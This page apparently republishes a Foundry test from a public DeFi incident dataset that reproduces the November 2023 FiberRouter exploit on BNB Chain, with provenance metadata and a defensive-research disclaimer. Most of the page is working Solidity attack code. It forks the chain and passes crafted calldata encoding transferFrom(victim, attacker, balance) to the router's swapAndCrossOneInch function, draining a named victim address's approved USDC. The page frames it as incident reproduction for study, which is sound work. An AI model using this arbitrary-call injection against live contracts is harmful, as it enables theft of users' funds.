Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/FiberRouter_exp.sol

Public reproduction file for dataset entry FiberRouter.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/FiberRouter_exp.sol77 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX::https://app.blocksec.com/explorer/tx/bsc/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1
8// GUY : https://x.com/MetaSec_xyz/status/1729323254610002277
9// Profit : ~59 USDC
10interface FiberRouter {
11 function swapAndCrossOneInch(
12 address swapRouter,
13 uint256 amountIn,
14 uint256 amountCrossMin, // amountOutMin on uniswap
15 uint256 crossTargetNetwork,
16 address crossTargetToken,
17 address crossTargetAddress,
18 uint256 swapBridgeAmount,
19 bytes memory _calldata,
20 address fromToken,
21 address foundryToken
22 ) external;
25contract ContractTest is Test {
26 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
27 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
28 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
29 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
30 FiberRouter fiberrouter = FiberRouter(0x4826e896E39DC96A8504588D21e9D44750435e2D);
31 address victim = 0x4da35bf35504D77e5C5E9Db6a35B76eB4479306a;
32 IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
33 address crossToken = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;
35 event log_Data(bytes data);
37 function setUp() external {
38 cheats.createSelectFork("bsc", 33_874_498);
39 deal(address(wbnb), address(this), 1 ether);
40 }
42 function testExploit() external {
43 emit log_named_decimal_uint("[Begin] Attacker USDC before exploit", usdc.balanceOf(address(this)), 18);
44 attack();
45 emit log_named_decimal_uint("[End] Attacker USDC after exploit", usdc.balanceOf(address(this)), 18);
46 }
48 function attack() public {
49 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", usdc.balanceOf(address(victim)), 18);
50 uint256 victim_balance = usdc.balanceOf(address(victim));
51 wbnb.approve(address(pancakeRouter), 99_999 ether);
52 address[] memory swapPath = new address[](2);
53 swapPath[0] = address(wbnb);
54 swapPath[1] = address(usdc);
55 pancakeRouter.swapExactETHForTokens{value: 0.0000001 ether}(
56 1, swapPath, address(fiberrouter), block.timestamp + 20
57 );
58 bytes memory datas = abi.encodePacked(
59 abi.encodeWithSignature(
60 "transferFrom(address,address,uint256)", address(victim), address(this), victim_balance
61 )
62 );
63 emit log_Data(datas);
64 fiberrouter.swapAndCrossOneInch(
65 address(usdc),
66 0,
67 1,
68 43_114,
69 address(crossToken),
70 address(crossToken),
71 0,
72 datas,
73 address(usdc),
74 address(usdc)
75 );
76 }

Analysis

Dataset entry

Public Foundry test for “FiberRouter” (2023-11-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
FiberRouter
Path
src/test/2023-11/FiberRouter_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2fdee78c9535db7532069b8a6e076af12f920b8d
Language
Solidity
Size
78 lines
Date
2023-11-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/FiberRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2fdee78c9535db7532069b8a6e076af12f920b8d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.